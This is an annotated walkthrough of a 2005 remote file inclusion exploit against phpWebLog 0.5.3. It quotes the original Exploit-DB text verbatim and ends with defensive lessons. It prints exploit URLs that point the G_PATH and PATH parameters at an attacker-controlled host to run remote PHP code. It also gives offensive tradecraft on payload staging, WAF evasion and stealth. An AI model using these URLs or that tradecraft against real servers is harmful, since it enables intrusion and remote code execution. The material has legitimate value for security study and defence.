Exploiting Arbitrary File Inclusion in phpWebLog 0.5.3

What this paper is

This paper details a vulnerability in phpWebLog version 0.5.3 that allows an attacker to include arbitrary files. This means an attacker can trick the web application into loading and executing code from a remote server or even local files on the victim's server. The exploit relies on specific PHP configurations being enabled on the target server.

Simple technical breakdown

The core of the vulnerability lies in how phpWebLog handles file paths, specifically when constructing paths for included files. If two PHP settings are enabled:

• register_globals=on: This makes external variables (like those from HTTP requests) automatically available as global variables within PHP scripts.
• allow_url_fopen=on: This allows PHP to treat URLs like local files, enabling functions like include() and require() to fetch content from remote servers.

When these are on, an attacker can manipulate parameters passed to the web application to point to a malicious file on their own server. The application, without proper sanitization, will then include and execute this file, potentially leading to remote code execution.

Complete code and payload walkthrough

The provided "code" is not a traditional exploit script with executable code but rather a set of URL patterns demonstrating how to trigger the vulnerability.

• if register_globals=on and allow_url_fopen=on:

  • Purpose: This line is a conditional statement explaining the prerequisites for the exploit to work. It states that both register_globals and allow_url_fopen must be enabled in the target server's PHP configuration.
  • Inputs: PHP configuration settings.
  • Behavior: If these settings are met, the following URL patterns can be used.
  • Output: Enables the possibility of the exploit.

• http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/

  • Purpose: This is the first example of a malicious URL.
  • [victim]: Placeholder for the IP address or hostname of the target web server.
  • [dir]: Placeholder for the directory where phpWebLog is installed on the victim's server.
  • include/init.inc.php: This is a legitimate file within phpWebLog that is likely responsible for including other configuration or core files. By targeting this file, the attacker aims to intercept the inclusion process.
  • G_PATH=http://[hacker_box]/: This is the crucial part. G_PATH is likely a variable that init.inc.php uses to determine which file to include. Because register_globals is on, the G_PATH parameter from the URL becomes a global variable. Because allow_url_fopen is on, the include() or require() function within init.inc.php will treat the value of G_PATH (which is a URL pointing to the attacker's server) as a file to include.
  • [hacker_box]: Placeholder for the IP address or hostname of the attacker's server. The attacker would host a malicious PHP file (e.g., shell.txt or backdoor.php) at the root of this server.
  • Behavior: The victim's server, when processing this request, will attempt to include the file located at http://[hacker_box]/. If the attacker has placed a malicious script there, it will be fetched and executed on the victim's server.
  • Output: Remote code execution on the victim's server.

• http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/

  • Purpose: This is a second example of a malicious URL, targeting a different entry point within the application.
  • backend/addons/links/index.php: Another legitimate PHP file within phpWebLog.
  • PATH=http://[hacker_box]/: Similar to G_PATH, PATH is likely a variable used by index.php to include other files. With register_globals and allow_url_fopen enabled, this parameter allows the attacker to specify a remote URL for inclusion.
  • Behavior: The victim's server will attempt to include the file from the attacker's server specified by the PATH parameter.
  • Output: Remote code execution on the victim's server.

• # milw0rm.com [2005-03-07]

  • Purpose: This is a comment indicating the source and publication date of the exploit information.
  • milw0rm.com: A historical exploit database.
  • [2005-03-07]: The date the exploit was published.

Mapping list:

• if register_globals=on and allow_url_fopen=on: -> Prerequisite check for the exploit's success.
• http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/ -> Exploitation URL 1, targeting init.inc.php via the G_PATH parameter.
• http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/ -> Exploitation URL 2, targeting links/index.php via the PATH parameter.
• [victim], [dir], [hacker_box] -> Placeholders for target and attacker infrastructure.
• G_PATH, PATH -> Vulnerable parameters that control file inclusion.

Practical details for offensive operations teams

• Required Access Level: No elevated privileges are required on the target system itself. The exploit is delivered via HTTP requests.
• Lab Preconditions:
  • A vulnerable version of phpWebLog (0.5.3) installed on a target web server.
  • The target server's PHP configuration must have register_globals = On and allow_url_fopen = On. This is a critical prerequisite and often a point of failure.
  • An attacker-controlled server accessible from the victim's network to host the malicious payload.
  • The attacker's server must be able to serve files over HTTP.
• Tooling Assumptions:
  • A web browser or a tool like curl for sending crafted HTTP requests.
  • A simple web server (e.g., Python's http.server, Apache, Nginx) on the attacker's machine to host the payload.
  • A text editor to create the malicious payload.
• Execution Pitfalls:
  • PHP Configuration: The most common failure point is the target server not having register_globals and allow_url_fopen enabled. Modern PHP versions have these disabled by default for security reasons.
  • Firewall/Network Restrictions: The victim's server might have outbound firewall rules preventing it from connecting to the attacker's server.
  • Web Application Firewalls (WAFs): A WAF might detect and block the malicious URL patterns.
  • Payload Hosting: The attacker must ensure their payload is correctly hosted and accessible. The payload itself needs to be a valid PHP script or something that can be interpreted as such by the target's PHP interpreter.
  • Parameter Name Variations: While G_PATH and PATH are shown, the actual vulnerable parameter name might differ in other parts of the application or in different versions. Enumeration would be necessary.
  • File Extension: The attacker might need to experiment with file extensions for their payload (e.g., .txt, .php, .jpg) depending on how the application handles inclusions and what the server expects.
• Tradecraft Considerations:
  • Reconnaissance: Thoroughly identify the phpWebLog version and check PHP configuration settings (if possible through other means, like information disclosure vulnerabilities or error messages).
  • Payload Staging: For more complex attacks, the initial payload hosted on the attacker's server could be a small script that downloads a larger, more sophisticated payload from a different location.
  • Obfuscation: If WAFs are suspected, basic URL encoding or obfuscation techniques might be attempted, though this is less effective against modern WAFs.
  • Stealth: Using legitimate-looking filenames for the payload on the attacker's server can help avoid immediate suspicion.

Where this was used and when

This exploit targets phpWebLog version 0.5.3, which was released prior to 2005. The exploit itself was published on March 7, 2005. Therefore, its practical use would have been in the mid-2000s. It's unlikely to be effective against modern, updated systems due to PHP configuration changes and application patches.

Defensive lessons for modern teams

• Disable register_globals: This PHP directive is a major security risk and should always be turned off. It has been deprecated and removed in later PHP versions.
• Disable allow_url_fopen: While sometimes necessary for legitimate functionality, it significantly increases the risk of file inclusion vulnerabilities. If needed, it should be carefully managed and restricted.
• Input Validation and Sanitization: Always validate and sanitize user-supplied input, especially when it's used in file paths or dynamic queries. Never trust input from external sources.
• Use Whitelisting: Instead of trying to block malicious inputs, define a strict list of allowed files or paths that can be included.
• Keep Software Updated: Regularly update web applications and their underlying software (like PHP) to patch known vulnerabilities.
• Web Application Firewalls (WAFs): Implement and configure WAFs to detect and block common attack patterns, including LFI/RFI attempts.
• Secure PHP Configuration: Review and harden PHP configurations, disabling dangerous features and enabling security-focused settings.

ASCII visual (if applicable)

+-------------------+       +-------------------+
| Attacker's Server | ----> | Victim's Server   |
| (e.g., hacker.com)|       | (phpWebLog 0.5.3) |
|                   |       |                   |
| - Malicious PHP   |       | - Web Server      |
|   Payload         |       | - PHP Interpreter |
+-------------------+       |                   |
                            | - register_globals=On
                            | - allow_url_fopen=On
                            +-------------------+
                                     ^
                                     | HTTP Request
                                     | (e.g., ?G_PATH=http://hacker.com/payload.php)
                                     |
                                     | Include/Execute
                                     | Malicious Payload
                                     |
                                     v
                            +-------------------+
                            | Attacker's Payload|
                            | Executed on Victim|
                            +-------------------+

Source references

• Paper URL: https://www.exploit-db.com/papers/864
• Raw Exploit URL: https://www.exploit-db.com/raw/864
• Author: Filip Groszynski
• Published: 2005-03-07

Original Exploit-DB Content (Verbatim)

Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/
   http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/

# milw0rm.com [2005-03-07]